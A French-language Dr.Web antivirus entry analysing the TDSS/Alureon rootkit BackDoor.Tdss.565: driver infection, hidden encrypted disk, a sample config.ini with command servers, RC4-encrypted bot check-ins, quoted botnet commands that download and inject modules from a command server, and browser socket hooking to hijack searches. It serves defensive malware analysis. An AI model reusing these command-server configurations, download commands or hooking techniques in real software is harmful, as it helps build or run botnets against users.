Dr.WEB®
Anti-virus

Protège votre univers

BackDoor.Tdss.565

(TR/PCK.Tdss.Z.2256,Trojan:Win32/Alureon.CT,Virus:Win32/Alureon.A,Packed.Win32.TDSS.z,Rootkit.Win32.TDSS.u)

Ajouté aux bases de données virales Dr.Web :
2009-10-06 16:02:28

Des sytèmes d'opération vulnérables:
Windows XP/Windows Vista/Windows 7

Informations techniques

Pour la description détaillée de BackDoor.Tdss.565 veuillez consulter l'article écrite par les analystes viraux de Doctor Web.

Pendant l'installation, ce virus implante son code dans le processus de système d'où fait démarrer le service temporaire sous le nom tdlserv:

```
[HKLM\system\currentcontrolset\services\tdlserv]
Imagepath=" \??\C:\DOCUME~1\\LOCALS~1\Temp\3.tmp"
Type=1
```

Pour assurer son installation ultérieure automatique, ce pilote contamine le pilote de système maintenant le disque physique où se trouve le système d'opération (par exemple, atapi.sys). Les bits originaux du pilote contaminé et le code principal de rootkit sont enregistrés dans les derniers secteurs de disque. Le disque virtuel dissimulé et encrypté y est aussi organisé. Les composants tdlcmd.dll, tdlwsp.dll du mode d'utilisateurs et le fichier de configuration config.ini sont enregistrés sur ce disque. Le module rootkit cache tous les modifications du système et insère le composant du mode d'utilisateur dans le processus selon le fichier de configuration.

Exemple. Contenu du fichier config.ini

```
[main]
version=3.0
botid=4513c055-11f2-8278-7863-3d82b9b804c8
affid=10002
subid=0
installdate=1.10.2009 9:4:38
[injector]
svchost.exe=tdlcmd.dll
*=tdlwsp.dll
[tdlcmd]
servers=https://h3456345.cn/;https://h9237634.
cn/;https://212.117.174.173/
```

Module TDLCMD.DLL

C'est le module responsable des mises à jour du programme malicieux et ses composants du serveur directeur. Il obtient de son propre nom le chemin vers le disque virtuel et lit du fichier config.ini les données sur les serveurs directeurs, l'identificateur de bot, etc. Il obtient aussi les informations sur la version et la langue du système, ainsi que sur le browser par défaut. Ces données sont représentés par la ligne suivante :

```
4513c055-11f2-8278-7863-3d82b9b804c8|10002|0|3.0|3.1|5.1 2600
SP1.0|ru-ru|iexplore

(botid|affid|Subid|bot_version|loader_version|system_
version|locale|browser)
```

Tout d'abord, cette ligne est chiffrée par RC4 avec la clé représantant le nom de serveur (par exemple: `h3456345.cn`), puis elle est codée en base64. Et la requête reçue est envoyée sur le serveur.

Exemple:

```
https://h3456345.cn/gJdwOLwW21dVuODFVDCvEuknIdD1k+Bc
8Rnq3uFl2VbBscU44iqKKslUgRXjw2Rb/Vk48jWDFc3HwZ+Mno1/
yx+sVdbaH0XgRMuAczm9JI2KBg==
```

Pour la réponse on obtient l'ensemble chiffré des instructions qui sont ensuite executées. Ces instructions sont les noms des fonctions chargées dans les modules du programme malicieux et ses paramètres.

Exemple:

```
botnetcmd.ModuleDownloadUnxor('https://h3456345.cn/2c0lfrND
klNZveSSVX6nFesyPdarl/5J8ErqwbRkjV3ctsI4rHmDeMFWyUan0Q==',
'\\?\globalroot\systemroot\system32\botnetwsp8y.dll')

botnetcmd.InjectorAdd('*','botnetwsp8y.dll')

botnetcmd.SetCmdDelay(14400)

botnetcmd.FileDownloadRandom('https://h3456345.cn/2c0lfrNDkl
ZZveSSVX6nFesyPdarl/5J8ErqwbRkjV3ctsI4rHmDeMFWyUan0Q==','\\?\
globalroot\systemroot\system32\botnet.dat')

tdlcmd.ConfigWrite('tdlcmd','delay','1800')

tdlcmd.ConfigWrite('tdlcmd','servers','https://h3456345.
cn/;https://h9237634.cn/;https://212.117.174.173/')
```

Les liens dans les paramètres sont les commandes chiffrées pour le serveur, par exemple `"2c0lfrNDklNZveSSVX6nFesyPdarl/5J8ErqwbRkjV3ctsI4rHmDeMFWyUan0Q=="` est `"module|1!4513c055-11f2-8278-7863-3d82b9b804c8!"`, les fichiers qui sont téléchargés par ces liens sont chiffrés par l'identificateur de bot (`4513c055-11f2-8278-7863-3d82b-9b804c8`)

Dans ce cas, botnetwsp8y.dll c'est la mise à jour pour le module tdlwsp.dll, ainsi que botnet.dat c'est une liste des serveurs de commande.

Dr.WEB®
Anti-virus

Defend what you create

Module TDLWSP.DLL

Ce module s'implante dans tous les processus selon le fichier de configuration, mais ne fonctionne que dans ceux qui contiennent les sous-chaînes explore, firefox, chrome, opera, safari, netscape, avant, browser. Il intercepte la fonction mswsock.dll!WSPStartup et dans l'interpreteur de la fonction interceptée WSPStartup il remplace les procedures WSPSend, WSPRecv et WSPCloseSocket dans le tableau SPI (service provider interface) par les siennes. De ce fait il fonctionne comme un LSP (Layered Service Provider) classique.

De ce moment le programme malicieux prend le contrôle total sur les requêtes d'utilisateur et peut modifier les resultats des machines de recherche et faire passer l'utilisateur sur les sites malicieux. L'information sur ce passage et la réaction sur les mots clefs vient du serveur de commande.

2-12A, 3rd str. Yamskogo polya, 125124, Moscow, Russia

Tel: +7 (495) 789-45-87 (multi-canal)
Fax: +7 (495) 789-45-97

www.drweb.fr | www.freedrweb.fr | www.av-desk.com